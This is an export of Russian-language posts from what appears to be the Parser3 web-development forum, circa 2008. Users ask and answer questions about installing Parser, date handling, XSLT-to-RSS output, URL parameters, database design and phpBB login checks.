Стоит Windows XP SP2. Категорически не могу понять в чем причина?\
\
Понимаю, что нужно было решать проблему на форуме Денвера, но там уже неделю как без ответа тема весит."
"65804","Загляните в лог Apache, там должна быть записть об ошибке."
"65805","Ваш парсер 3.2.2 вероятно хочет еще одну библиотеку, которой нет в вашей системе.\
Где ее взять там написано.\
\
Если 3.2.1 работает, то Денвер тут не причем"
"65808","Это помоголо спасибо. Осталось понять почему )"
"65810","Надо связать строки типа http://sitename/login (1) и http://sitename/?username=login (2), т.е. пишем первую, а грузится вторая (по типу http://www.myspace.com/login).\
Как лучше всего это реализовать?"
"65811","http://www.parser.ru/forum/?terms=rewrite&author=&doSearch=%CD%E0%E9%F2%E8"
"65812","спасибо)"
"65814","У меня стоит последняя версия парсера. Использую календарь из урока, и обнаружил глюк, у меня почему то в марте 2008 года всего 29 дней, хотя должно быть 31.\
\
$calendar_month[^date:calendar[rus](2008;3)]\
^calendar_month.save[bla.txt]\
\
И в текстовом файле вывелось следующее:\
\
0    1    2    3    4    5    6    week    year\
                    01    02    09    2008\
03    04    05    06    07    08    09    10    2008\
10    11    12    13    14    15    16    11    2008\
17    18    19    20    21    22    23    12    2008\
24    25    26    27    28    29        13    2008"
"65815","проверено: 3.2.2 FreeBSD 6.x\
C 3.2.1 — ok"
"65816","3.2.2 (compiled on i686-pc-linux-gnu)"
"65817","Кому надо срочно - береите из CVS или из [url=http://www.parser.ru/download/beta/]бета-версий[/url]."
"65819","и какие результаты получили?"
"65822","залил драйвер [b]libparser3mysql.so[/b] [color=\"#ff0000\"][b]freebsd 6.2[/b][/color]\
клиент [b]libmysqlclient.so.12[/b] \
прописал пути в конфиге\
вот все чт сделал\
\
ошибка все та-же \
\
[i]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, support@masterhost.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/i]\
\
[b]Вот лог[/b]\
[i]\
[Mon Mar 31 01:24:15 2008] [39068] /: /home/u12345/qwerty.com/www/auto.p(129:34): '/home/u12345/qwerty.com/cgi-bin/lib/libparser3mysql.so' can't open the module [<no type>][/i]"
"65823","Попробуйте http://www.parser.ru/forum/?id=64177"
"65825","Как в xml сделать словать для контенра с содержимым на разных языках? Если на одном, то тривиально\
<copyright>\
<ru>все права защищены</ru>\
<en>all rights reserved</en>\
</copyright>"
"65826","http://talks.shitov.ru/ppt/uaweb2008/multilingual-websites.pdf"
"65827","скачал CGI со Stopdesign.ru все заработало!!!"
"65829","Есть файлы:\
\
[quote]6_templates.table\
23_templates.table\
45_templates.table\
2_users.table\
5_users.table\
и тд[/quote]\
\
Как мне удалить все файлы, которые содержат \"_templates\"?"
"65831","[code]\
  $sPath[/путь_к_вашей_директории]\
  $tList[^file:list[$sPath;templates]]\
  ^tList.menu{\
    ^file:delete[$sPath/$tList.name]\
  }\
[/code]"
"65832","Так же и сделать, в чем проблема?"
"65834","только отнеситесь к этому методу с умом. Данный код удалит всё! что найдется в заданном каталоге, в чьем имени попадется templates, в том числе файлы вида my_very_best_templates.txt, а также каталоги с упоминанием данного слова. Даже если сейчас такое не преполагается, потом может случится неприятность. Поэтому я бы посоветовал формат указывать максимально строго, для ваших файлов наверное как то так:\
\
[code]$tList[^file:list[$sPath;^^\\d+_templates\\.table^$]][/code]\
\
К тому же потомкам так будет более понятно, какой фильтр накладывается"
"65835","Чем [url=\"http://www.artlebedev.ru/tools/technogrette/xslt/localizing/\"]описанные[/url] в [url=\"http://www.artlebedev.ru/tools/technogrette/xslt/multilang/\"]техногрете[/url] варианты не подходят?"
"65836","например, такой  текст:\
Microsoft (Microsoft Corporation, читается «ма&#769;йкрософт», NASDAQ: MSFT) — крупнейшая (прибыль за 2006 год — $12,06 млрд при обороте в $44,28 млрд) транснациональная компания по производству программного обеспечения для различного рода вычислительной техники — персональных компьютеров, игровых приставок, КПК, мобильных телефонов и прочего. Также производит некоторые аксессуары для персональных компьютеров (клавиатуры, мыши и т. п.). Штаб-квартира компании находится в г. Редмонд (Redmond) (пригород Сиэтла), штат Вашингтон.\
\
Microsoft находится под надзором суда в результате мирового соглашения 2002 года.[2]\
\
\
тут содержимое на разных языках, как быть? хочется по аналогии с http://www-128.ibm.com/developerworks/library/wa-xslt/"
"65838","Что плохого в том, что в контенте на русском языке есть иноязычные слова? Вы каждое слово хотите разбить на разные языки? :) Мне кажется, что вы через чур усложняете задачу."
"65839","Непонятно тогда, о чем вообще был вопрос. Хотелось просто разметить английские слова внутри русского текста?\
\
Не очень понятно, зачем это, но если так, то [code]<span lang=\"en\" xml:lang=\"en\">[/code]\
\
Вообще надо сходить на http://www.w3.org/International и прочитать там [b]все[/b]."
"65840","А говорили отпуск, отпуск..."
"65845","Ватикан и ЮАР безмерно скорбят и уже отзывают своих послов, да."
"65846","Сайт я неписал, а переносил со старого сервера на новый.\
\
На старом был parser3, FreeBSD 5.5-RELEASE-p14, Apache/1.3.33 (Unix) mod_fastcgi/2.4.2.\
\
На новом: parser3, FreeBSD 6.2-RELEASE-p8 , Apache/1.3.39 (Unix) mod_ssl/2.8.30.\
\
Долго убирал ошибку Internal Server Error.\
\
Установил парсер, пишет: Parser/3.2.2 (compiled on i386-unknown-freebsd6.2). Сейчас ошибок не появляеться, но индекс просто выводит содержимое.\
\
Вот как выглядит .htaccess:\
\
AddHandler parser3-handler .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>\
#CharsetDisable On\
\
Все сделал как в FAQ и документации. Подскажите, может я что-то упистил."
"65848","Конечно, я проверял, елси написать что-то левое или с ошибкой, то выводиться 500-я страничка"
"65850","Долго бился с установкой parser под Mac OS X 10.5.2 Leopard c MAMP, добиться успеха не удалось... (\
Сборка http://anapa-surfing.ru/f/1/parser/ c MySQL драйвером 5.1 не работает т.к. MAMP включает в себя MySQL 5.0.41 или по какой-то другой причине. Самое большее, чего удалось добиться - это получить ошибку:\
\
Unhandled Exception (Debug)\
driver failed to initialize client library '/Applications/MAMP/cgi-bin/lib/libmysqlclient.so.12.0', dlopen(/Applications/MAMP/cgi-bin/lib/libmysqlclient.so.12.0, 9): no suitable image found.  \
Did find:\
	/Applications/MAMP/cgi-bin/lib/libmysqlclient.so.12.0: unknown file type, first eight bytes: 0x7F 0x45 0x4C 0x46 0x01 0x01 0x01 0x00\
/Applications/MAMP/cgi-bin/lib/libparser3mysql.so\
\
---\
\
может кто-то решил задачу по установке parser под mac? Есть готовое решение под Mac?\
так не хочется пользоваться windows... ("
"65851","[quot]\
Установил парсер, пишет: Parser/3.2.2...\
[/quot]\
\
когда пишет, когда вы запускаете его из консоли или когда обращаетесь из броузера к http://ваш_сервер/cgi-bin/parser3.cgi ?"
"65853","я не повелся бы, если бы, например, Sumo написал что не может поставить парсер %-)"
"65854","А ты говоришь!.."
"65855","Да есть такая:\
<Directory />\
    Options FollowSymLinks\
    AllowOverride All\
</Directory>\
Только что у админа узнал"
"65856","Когда обращаюсь через браузер"
"65858","[code$now[^date::now[]]\
$st[^now.roll[month](-1)]\
$st.day[/code]\
\
на $st.day выдает string method not found. В чем может быть проблема?"
"65859","Метод date.roll сдвигает дату у текущего объекта, но не возвращает ее!"
"65860","спасибо"
"65861","Один из них был бы JSON.\
Мне показалось это удобным."
"65862","Я писал, но злой модер удалил мой пост :) . \
Напишу другими словами:\
\
На сайте http://zartus.com.ru/ выбираю месяц и год. Отображается календарь на выбранный период. Когда выбираю день все сбрасывается так как не срабатывает проверка на наличие заданных переменных $month и $year. Требуется сохранить месяц и год до следующего выбора.\
В результате мозгового штурма придумал пока 2 варианта. \
1. Записывать эти переменные в базу. Но придется для каждого нового юзера формировать свою запись.\
2. Каким-то образом записывать переменные в кукиес. Тогда будет срабатывать на стороне клиента, и код будет наверно проще (одинаковый чтоли).\
\
Или как делают нормальные люди?\
\
Календарь из примера 3, за исключением формы. Если надо приведу код но он длиноватый."
"65863","при выведении новостей  я использую ^menu[]\
но получается что [b]последняя добавленная[/b] новость отображается [b]последней[/b].\
как реализовать вывод новостей , чтобы все отображалось по порядку добавления, т.е. последняя добавленная новость стоит в списке первой"
"65864","В базу писать, вот у меня так. На основе учебника. А там как угодно можно сортировать."
"65865","Нормальные люди новости по датам выводят через uri.\
Два варианта:\
1. передавать дату через параметры в uri\
2. формировать uri, разбивая дату слешами + apache mod rewrite\
\
Чтобы стало нагляднее -- повесите пару-тройку сайтов, где есть архив новостей."
"65866","вы в принципе то понимаете механизм того, как работает веб?\
\
\"так как не срабатывает проверка на наличие заданных переменных $month и $year\"\
\
ваша проблема в том, что вы не знаете как передать от сеанса к сеансу нужные переменные.\
1. самое простое - GET. Если бы ваша форма работала по протоколу GET, а не POST - каждый раз выбирая месяц и год и нажимая сабмит, вы бы видели, что переходите на url вида ...../?month=7&year=2008.\
Это тоже самое как вы бы кликнули по обычной ссылке с таким адресом (это тоже GET). Отсюда легко понять, что добавив к ссылкам дней пришедшие ранее поля месяца и года - вы решите вашу задачу.\
т.е. там где вы выводите <a href='/?day=$day'>$day</a> надо написать что то типа(условно) <a href='/?day=$day&month=$form:month&year=$form:year'>$day</a> и всё.\
2. можно писать в cookie (но они могут быть отключены у пользователя).\
3. можно писать в базу, но это не избавить вас от проблемы передачи некоего идентификатора сессии пользователя, по которому вы будете из базы доставать эти данные (опять же через cookie или url)."
"65868","Неужели так сложно самому капнуть чуть глубже, чем написано в уроке? А уж сколько углов обито такими темами в форуме...\
Ребята, потом вы удивляетесь, что подобные темы удаляются."
"65870","очевидно, что не из [url=\"/docs/lang/dateroll.htm\"]документации[/url], т.к. там есть трёхстрочный пример именно того, что делаете вы."
"65871","мне в реалиях класс так и не понадобился, так что менять в нём что-либо я не планирую."
"65872","тут это: http://www.parser.ru/forum/?id=47687\
\
самый быстрый был: копирование её с $.reverse(1)"
"65877","ДД!\
\
Кто возъмётся и за какие не очень большие деньги? :)\
ОС: FreeBSD"
"65879","Про копирование с reverse честно говоря не знал :)\
\
надо будет поправить кое-где"
"65921","Пытаюсь трансформировать xml файл в RSS. Код позаимствовал из учебного примера, но в итоговом RSS не закрывается тег link.\
\
Скрипт\
$sourceDoc[^xdoc::load[путь к xml]]\
$transformedDoc[^sourceDoc.transform[путь к xsl]]\
^transformedDoc.string[\
$.method[html]\
]\
\
XSLT:\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:output method=\"html\" />\
\
<xsl:template match=\"/\">\
<rss version=\"2.0\">\
<channel>\
<title>заголовок</title>\
<link>http://ya.ru/</link>\
<description>описание</description>\
<pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>\
<xsl:for-each select=\"//Product\">\
<item>\
<title>title</title>\
<description>description</description>\
<pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>\
</item>\
</xsl:for-each>\
</channel>\
</rss>\
</xsl:template>\
</xsl:stylesheet>\
\
Фрагмент итогового файла:\
<rss version=\"2.0\">\
<channel>\
<title>заголовок</title>\
[b]<link>[/b]\
<description>описание</description>\
<pubDate>Tue, 10 Jun 2003 04:00:00\
GMT</pubDate>\
<item>\
<title>title</title>\
<description>description</description>\
<pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>\
</item>\
\
Проблема в том, что отображается только <link>, содержание тега и закрывающей </link> нет :(\
Если просто трансформировать XML этим XSLT средствами браузера IE или FireFox, то преобразование происходит корректно."
"65924","Виновник - выбранный метод xsl:output, который в показанном примере устанавливается через $.method[html]."
"65932","причины: чтобы понять смысл произошедшего и описываемого в том треде необходимо внимательно прочитать всё, отсеяв кучу субъективных вещей и взаимных наездов/оскорблений.\
\
в данном форуме не практикуется редактирование сообщений  модератором, а привести дискуссию в нормальночитаемое русло без этого не представляется возможным.\
\
считаю дискуссии в подобной форме неприемлемыми, поэтому subj.\
\
корневое сообщение содержит неточности, по этой причине я не могу оставить лишь его, удалив все ответы.\
\
желающие продолжить -- создавайте новый тред, где излагайте свои мысли без взяимных нападок и переходу на личности или идите делать это куда-нить в другое место.\
\
P.S. как в анекдоте: \"а потом пришёл лесник и выгнал всех нафиг из леса\" :)"
"65933","А кто-нибуь решал задачу построить цепочку таких ссылок:\
\
Каталог > Раздел > Результаты поиска > Продукт\
\
То есть в разделе каталога есть форма поиска, через его результаты попадают на продукт.\
Задача - щелкнуть на \"Результаты поиска\" и попасть на страницу с той же выборкой, с которой и ушли.\
\
Ничего кроме как таскать в продукт ?список=параметров мне в голову не приходит"
"65934","Использовать куки или базу, где запоминать параметры поиска.\
Или в продукте смотреть на referer и если пришли из поиска, то добавлять ссылку \"вернуться к поиску\" (к примеру) с нужными параметрами. Это при условии, что параметры передаются через get."
"65935","У вас товар каталога относится не к категории, а к поиску.\
\
Думаю, что правильней будет показать верную навигацию: «Бытовая техника / Чайники / Мега-чайник», независимо от того, откуда человек попал на страницу товара.\
\
Иначе это не навигация, а история получается.\
\
Что до поиска, то повторить его можно только передав те же параметры, что и в предыдущем поиске."
"65936","В данном случае мне не нужна верная навигация, мне нужно перенести человека на то место, где он был."
"65937","С куками проблема в том, что если чувак открыл, скажем два таба в макстоне, то они оба будут передавать одинаковую сессионную куку на сервер. Я подумал, что другие браузеры могут подкладывать таких же свиней и отмел данный способ.\
\
Рефер не решает, так как форма-таки передается через POST. Там может быть очень дохрена параметров, и в урле мусорить не хочется - в том и проблема."
"65938","Как вариант -- открывать ссылку из поиска принудительно в новом окне (хотя сам я против такого).\
Ещё в браузере всегда есть кнопка back.\
\
Ситуация, когда ведутся два разных поиска (в интернет-магазинах, например) встречается редко. Обычно сравниваются товары из одинаковой категории (категории товара, ценового диапазона и т.д.), а они видны в списке результатов одного поиска.\
\
В общем, больше предложений не имею."
"65939","Т.к. дать ссылку на результаты поиска нельзя, сделать на основе поиска механизм «готовых предложений» — тоже.\
\
Потому смело передавайте нужные параметры через GET и спокойно сможете ставить ссылку на страницу с заданными критериями поиска.\
\
Собственно, почему вы беспокоитесь за чистоту URL не совсем понятно.\
Что там будет помимо, непосредтсвенно, поискового запроса?"
"65940","Что значит \"Уже то, что параметры передаются POST'ом — плохо\" и \"Т.к. дать ссылку на результаты поиска нельзя\"? Все можно.\
\
Там в форме есть несколько, ну ладно - один - мультиселект со скажем двадцатью параметрами. Человек может выбрать десять, плюс забьет еще пару полей. Вы представляете какой длины бдет ссылка? Вот мне хочется сделать красивее."
"65942","Задача: проверить авторизацию форума phpBB на сервере.\
\
Сделал как описано: http://www.parser.ru/forum/?id=33412 \
^usePHP[phpBB_auth.php] \
\
Содержимое phpBB_auth.php файла:\
[code]\
<?php \
\
define('IN_PHPBB', true);\
$phpbb_root_path = '/home/test/www/phpBB/';\
include($phpbb_root_path . 'extension.inc');\
include($phpbb_root_path . 'common.'.$phpEx);\
\
$userdata = session_pagestart($user_ip, PAGE_INDEX);\
init_userprefs($userdata);\
\
if( $userdata['session_logged_in'] )\
{\
    echo('Авторизирован');\
}\
else\
{\
    echo('Не авторизирован');\
} \
\
?>\
[/code]\
\
Если обратиться через браузер к phpBB_auth.php то работает, через PARSER результат всегда: «Не авторизирован».\
\
Может кто-то уже имеет опыт?"
"65943","[quote]Что значит \"Уже то, что параметры передаются POST'ом — плохо\" и \"Т.к. дать ссылку на результаты поиска нельзя\"? Все можно.[/quote]\
\
Каким образом, если у вас форма уходит POST'ом мне передать другу Васе ссылку на результаты посика по электрочайникам на вашем сайте?\
Чтобы он по ней зашёл и увидел результаты поиска по тем критериям, которые выставил я.\
\
[quote]Вы представляете какой длины бдет ссылка? Вот мне хочется сделать красивее.[/quote]\
\
Представляю.\
Ничего страшного.\
\
Лучше сделать удобно пользователям, чем бороться за эфемерную красоту.\
\
Яндекс и Гугл нисколько не смущает «красота URL'а», и я могу вам спокойно дать [url=http://market.yandex.ru/guru.xml?CMD=-RR=0,0,0,0-PF=5533249%2BLT%2Bsel%2B50%2e841423-PF=3074825%2BTR%2Bsel%2Bselect-PF=16317400%2BEQ%2Bsel%2B16404493-PF=16245708%2BTR%2Bsel%2Bselect-PF=1583614%2BTR%2Bsel%2Bselect-PF=1583613%2BGT%2Bsel%2B2000-PF=1583611%2BEQ%2Bsel%2B1583883-VIS=160-CAT_ID=116593-EXC=1-PG=10&view=&num=&sort=&hid=90586&filter=&grhow=]ссылку на отобраные электрочайники[/url]."
"65944","Наверное забиваю себе голову как всегда"
"65946","длинные ссылки не смущают не только поисковики, но и людей.\
\
вот например [url=\"http://www.alcatel-lucent.com/wps/portal/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLd4w3dTMESYGYRq6m-pEoYgbxjgiRoKLS-KJSfV-P_NxUfW_9AP2C3NCIckdHRQCWNNjy/delta/base64xml/L3dJdyEvd0ZNQUFzQUMvNElVRS82X0FfMkU2\"]ссылка на главную страницу сайта[/url], как-то присланная нам клиентом.\
\
и это не только клиент её такую прислал, но она-же ставится с логотипа (знаю, что это уже другая крайность, в которую также не стоит ударяться)."
"65947","PhpBB проверяет сессионые куки для аутентификации.\
И устанавливает при логине.\
\
А в случае ^usePHP[] в качестве клиента выступает Парсер, то бишь, сам «сайт».\
Естественно, нужных кук у него нет.\
\
Из теоритического решения вижу только:\
запрашивать Парсером у клиента нужные куки и отдавать их через [url=http://www.parser.ru/docs/lang/app1.htm]$.headers[$.HTTP-ЗАГОЛОВОК[значение]][/url], передавая заголовок «Cookie», чем эмулировать клиента.\
Ответные куки — выставлять Парсером клиенту.\
То бишь, Парсер будет работать как посредник.\
\
Логин можно эмулировать передавая [url=http://www.parser.ru/docs/lang/app1.htm]$.form[][/url].\
\
Навскидку не скажу какой заголовок придёт при попытке установки кук со строны phpBB...\
\
Попробуйте, может сработает."
"65948","Просто столько говорили о борьбе за чистоту урлов, да за чистоту урлов :)\
Буду параметры в продукт таскать через ссылку"
"65949","Очень хорошо, когда она есть.\
Но в данном случае ей можно пожертвовать.\
\
Притом, что есть «чистота»?\
Если вы нормально назовёте поля формы, то запрос будет легко читаем и красив.\
\
А если «чистые URL'ы» это, к примеру: «/katalog/bitovaya_tehnika/chayniki/» то это ужас, а нет «чистый URL».\
Чистый он от смысла.\
\
Опять же, если есть много свободного времени для реализации, то для параметров поиска можно использовать mod_rewrite, сохранив URL без параметров формы.\
Но это сильно фанатичный вариант."
"65950","Вопрос конечно не совсем по парсер, но все же.\
\
Есть таблица A с полями id и array и таблица B с полем id. \
\
Как правильно сохранить массив из значений B.id в поле A.array? Если через строковый разделитель, то какой лучше и легче? \
\
И как потом проверить, входит ли конкретный B.id в массив, записанный в A.array?"
"65951","То биш, в таблицах.\
А не в полях через разделители.\
Тогда и обработка и проверка будут выполняться просто, и штатными средствами."
"65952","Т.е. для этого массива создать отдельно таблицу, и потом получать эти значения через JOIN ?\
\
А ведь размероность массива неизвестна, и значит количество полей новой таблицы тоже неизвестно. Или я что-то не так понял?"
"65953","Ваш массив, скорее всего, связи «один ко многим», или «многие ко многим».\
Хранить их следует в соответствующих таблицах.\
\
Если хотите можете привести пример данных.\
\
Не зная ничего о данных, трудно что-то сказать."
"65954","Есть таблица sites, где хранится инфо о сайтах. Есть таблица banners, где хранится инфо о баннерах. \
Так вот, в одном из полей таблицы banners нужно как-то указать список из sites.id , на которых будут отображаться эти баннеры.\
\
Нужно, зная номер сайта, узнать какие баннеры крутятся на нем. И наоборот, зная номер баннера, узнать, на каких сайтах он крутится."
"65955","Стандартная связка «многие ко многим».\
Дальше — в поиск и чтение.\
\
Ликбез, извините, устраивать не буду."
"65956","Ну короче мне все ясно. Считаю тему закрытой.\
У меня просто было две мысли - передавать параметры, либо мутить с куки и записью в БД. Я подумал, что есть третий путь, который мне неизвестен. Нету, так нету."
"65959","Не подскажете как этот вопрос был решен? )"
"65960","Если это уже было, или я что-то напутал, то убейте меня.\
\
[code]\
$currentDate[^date::now[]]\
$anotherDate[^date::create($currentDate.year;$currentDate.month;$currentDate.day)]\
\
^if(^math:floor($currentDate) > ^math:floor($anotherDate)){\
	true\
	}{\
	false\
	}\
[/code]\
\
Выдает [code]true[/code]\
\
Это считается фича? :)"
"65962","в базах данных устроено так, что нужно создавать дополнительную таблицу для ассоциации\
\
у тебя есть ассоциация баннер находится на сайте\
нужно создать таблицу BannerSiteAssociation,\
в которой будет 2 столбца: BannerId, SiteId\
\
чтобы получить все баннеры для конкретного сайта запрос:\
select BannerId from BannerSiteAssociation where SiteId = 'конкретный идентификатор сайта';\
\
чтобы узнать, на каких сайтах крутится баннер запрос:\
select SiteId from BannerSiteAssociation where BannerId = 'конкретный идентификатор баннера';"
"65963","[code]^eval($currentDate) -> ^math:floor($currentDate),\
^eval($anotherDate) -> ^math:floor($anotherDate)[/code]\
\
Дата со временем, ясное дело, больше чем без.\
Округление (непонятно зачем оно) даст большее число, вот и «true».\
\
Что должен делать подобный код?"
"65964","или можно встраивать в url:\
/tools/decoder/opinions/6fde3060b3630a4b6f2f814e58ac965b/\
\
а дальше Vint все правильно сказал:\
\
параметры и результаты поиска хранить в таблице, привязывая к идентификатору сеанса\
\
при желании можно предоставить пользователю ссылку с параметрами поиска, чтобы он мог ее сохранить и снова выполнить поиск\
\
цепь страниц, на которых побывал пользователь тоже хранить в таблице, перед выводом в документ выкидывая лишние страницы"
"65965","Я, может быть, чего-то не понимаю, но мне вот это не кажется само собой разумеющимся. Вероятно, я упускаю что-то, но это пока не доказано. :)\
\
[quote]Числовое значение объекта класса date равно числу суток с EPOCH (01.01.1970 00:00:00, UTC) до даты, заданной в объекте.[/quote]\
\
До даты 2008-04-08 12:48:05 и до даты 2008-04-08 00:00:00, на мой взгляд, прошло одинаковое количество [b]полных[/b] суток с 01.01.1970 00:00:00. \
\
PS: Мда, кажется, я понял, что упустил. Вероятно, каким-то образом учитывается часовой пояс, потому что ни одна из дат в ^eval() не отдает целое число.\
\
Всем спасибо, пойду убьюсь об стену."
"65966","[quote]Числовое значение объекта класса date равно числу суток с EPOCH (01.01.1970 00:00:00, UTC) до даты, заданной в объекте.\
\
До даты 2008-04-08 12:48:05 и до даты 2008-04-08 00:00:00, на мой взгляд, прошло одинаковое количество [b]полных[/b] суток с 01.01.1970 00:00:00. [/quote]\
\
«Полных» не значит «целых»."
"65967","Ты чё ж, Дима, так быстро сдался..."
"65968","Спасибо. Получилось."
"65969","Имеется таблица \"Договоры\". Клиент может иметь заключенные договоры разных \
типов в одном или нескольких банках\
\
\
Contract           Договоры	\
___________\
\
id		индентификатор договора, первичный ключ\
type_id		тип договора, внешний ключ	\
id_client	клиент, внешний ключ\
id_bank		банк, внешний ключ\
stat		статус(0- действующий,1-недействующий)\
name		номер договора\
\
\
Нужно написать запрос, возвращающий:\
\
Список идентификаторов клиентов, и меющих договоры 3 разных типов в одном банке.\
Если клиент имеет 3 разных типа договора в разных банках, он должен попасть в\
список только один раз."
"65971","Другие люди с такой задачей поиском найдут и спасибо скажут."
"65972","Не надо массив. Пусть на каждый элемент отдельная запись."
"65973","У самого времени пока не хватает. Все время уходит на доработку CMS-ки + Update сайтов, работающих на ней.\
\
Естественно, работа будет оплачена. Пока планирую выделить 3000-6000р, хотя, рассмотрю и ваши предложения о увеличении бюджета (если это будет оправдано).\
\
[b]Т.З.[/b]\
1. Модуль должен работать с CMS-кой .COM (есть кое-какие наработки, но пока все довольно сыро).\
- вывод данных в XML с последующим парсингом через XSL.\
- необходимо использовать Мишин класс авторизации.\
- должна быть поддержка групп.\
2. Необходимо придерживаться древовидной архитектуры для сообщений, с возможностью вывода сообщений в «обычном» виде (списка).\
3. Помимо новых постов и комментариев на них пользователи должны иметь возможность создавать новые тематические форумы.\
- Для форумов и постов можно обозначить пользователей, имеющих к ним доступ для чтения/публикации.\
- Предусмотреть работу с многоязычными форумами.\
4. Нужен поиск по:\
- постам\
- комментариям\
- пользователям\
5. Нужна возможность добавлять посты/комментарии в избранное.\
6. Нужен простой механизм голосования за посты.\
7. Желательно (не обязательно) ряд функций реализовать через AJAX:\
- Добавление комментариев и их пред-просмотр.\
- Голосование.\
Все это потом планируется распространять с CMS-кой + использовать на некоторых уже существующих сайтах."
"65974","Установил FireFox Add-ons: [url=\"https://addons.mozilla.org/ru/firefox/addon/3829\"]Live HTTP Headers[/url] посмотрел какие cookie нужны для авторизации и передал их:\
\
[code]@usePHP[fileName][path;file]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
  $.form[$form:fields] $.headers[\
  $.Cookie[phpbb2mysql_data=$cookie:phpbb2mysql_data^;\
           phpbb2mysql_t=$cookie:phpbb2mysql_t^;\
           phpbb2mysql_data=$cookie:phpbb2mysql_data ^;\
           phpbb2mysql_sid=$cookie:phpbb2mysql_sid]\
         ]\
]]\
^untaint{$file.text}[/code]"
"65975","http://www.webmaster-toolkit.com/mime-types.shtml"
"65976","Поищите лучше файл mime.types в каталоге apache/conf :-)\
\
Или зайдите на http://www.iana.org/assignments/media-types/, там не только список, но и объяснения по каждому формату."
"65977","Ничего себе сколько вы за 6000 рублей хотите ;-)"
"65979","Времени на это нету, есть более интересные вещи ;)"
"65980","Короче, нужно нарисовать на флеше развевающийся флаг, макимально похожий на этот - http://www.razom.org.ua/ - http://www.razom.org.ua/flash/flag2006.swf , только с другой текстурой. Все попытки связаться с авторами не увенчались успехом. Сам я во флеше не умею, поэтому если кто умеет - прошу помочь. Разумеется не бесплатно. Или посоветуйте куда обратиться с заказом. \
\
Пасиб."
"65982","У меня вопрос на стыке технологий, так сказать. \
\
Задача. autosuggest возвращает в форму текстовую строку. конкретно в textarea.\
\
Перенос осуществляется из источника -- это xml файл. в форму средствами скрипта. В самом файле, скажем, есть разбивка на строки. при переносе в форму теряются эти самые переносы кареток.\
\
Я в скрипте не силен. В самой форме стоит уже ^untaint[html].\
\
подскажите, куда копать. Спасибо."
"65983","У кого-нибудь есть (или кто-нибудь может собрать) parser3.cgi для Linux Fedora 6 (или для RedHat) сборка без safe mode и с поддержкой XML? Версия 3.2.2 или 3.2.1...\
\
Возможности собрать самому нету, размещать сайт нужно у конкретного хост-провайдера, а тот не особо горит желанием вообще чем-то толком помогать :(\
\
P.S. Искал по форуму и не нашел :("
"65984","у меня выдается false... пробовал и так:\
[code]\
$currentDate[^date::now[]]\
$anotherDate[^date::create($currentDate.year;$currentDate.month;$currentDate.day)]\
^if(^math:floor($currentDate) > ^math:floor($anotherDate)){\
	true\
}{\
	false\
}\
[/code]\
и так:\
[code]\
$currentDate[^date::create[2008-04-08 12:48:05]]\
$anotherDate[^date::create[2008-04-08 00:00:00]]\
^if(^math:floor($currentDate) > ^math:floor($anotherDate)){\
	true\
}{\
	false\
}\
[/code]\
parser 3.2.2"
"65985","В своем движке хочу сделать автоматическое определение доступных модулей, находящихся в папке /modules/. Таким образом я хочу, чтобы при добавлении нового модуля, я всего лиши ложил в эту папку его файлы исоздавал таблицу в БД.\
\
Модуль у меня вклюает в себя 2 файла: например Publications.p и Publications.minfo.\
В файле  Publications.p у меня код модуля, а в файле Publications.minfo у меня информация о модуле.\
\
Publications.minfo:\
name	value\
title	Публикации\
description	Модуль публикаций (новостей, статей и т.д.)\
obj	pub\
file	Publications.p\
class	Publications\
\
В админке, в управлении модулями, по клику на его название (title) открываем ссылку ?obj=pub (pub также берется из файла). При обнаружении $form:obj в работу включается метод админки ^Control.loadModuleControl, задача которого подключить метод ^Publications:adminControl.\
\
Метод adminControl у меня стандартный для всех модулей, он собственно и управляет отображением интерфейса модуля в админке. Когда появляется ?obj=pub, метод ^Control.loadModuleControl находит файл .minfo, в котором obj = pub, и достает из него $class[Publications]. Теперь мне надо подключить этот модуль (при том, что название класса доступно только через переменную). \
\
Как это можно сделать? Пробовал ^^$class:adminControl[], не получается.\
\
Если есть еще какие нибудь варианты, подскажите пожалуйста."
"65988","P.S. Просто сам не могу дойти до того, что именно ресурсоемко. Ведь у объектов статей будет свои  type_id, он будет индексироваться..."
"65989","поиском находится способ именования архивов без safemode.\
\
P.S. плохо искали."
"65991","отлаживаю сайт на денвере и вот какой неприятный момент вылез: текст набранный киррилицей, взятый из БД или пользовальтельского класса, отображается нормально, а текст из главного auto.p (например дискламер и тег title), отображается непонятными символами. при переключении на кодировку UTF-8, всё меняется с точностью до наоборот..\
\
\
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
\
версия парсера: 3.2.1sp2"
"65993","29 — число, делящее на абсолютно равные части промежуток между числами 28 и 30. Запись числа 29 в десятичной системе счисления состоит из двух цифр — 2, 9. Таким образом, это единственное двухзначное число, в котором цифра 2 идет раньше, чем 9. Также, всего лишь двумя цифрами — 0, 1 — можно записать это число в двоичной системе счисления, однако таких цифр потребуется пять. Почему так происходит? Загадка природы. В шестнадцатеричной системе это мистическое число выглядит как 1D, что говорит о его связи с первичным одномерным пространством."
"65994","[code]\
@getCalendar[hParam]\
$hParam[^hash::create[$hParam]]\
$result[^pSQL.table{\
	SELECT\
		^pSQL.month[dt] AS month,\
		^pSQL.year[dt] AS year\
	FROM\
		objects\
	WHERE\
		object_type_id = N\
		AND is_published = 1\
		AND dt_published <= ^pSQL.now[]\
	GROUP BY\
		year,\
		month\
}]\
#end @getCalendar[]\
[/code]"
"65995","спасибо, получилось!"
"65997","P.S. Я в БД не особо знаю..."
"65999","Но я уже от двух людей слышал, что ресурсоемко, поэтому для меня это решение очень важно."
"66000","Мне всегда нравилось, на этом форуме есть поинмающие люди, которые могут подсказать. Спасибо."
"66001","уф...\
\
1. у меня данные хранятся в поле data с типом text.\
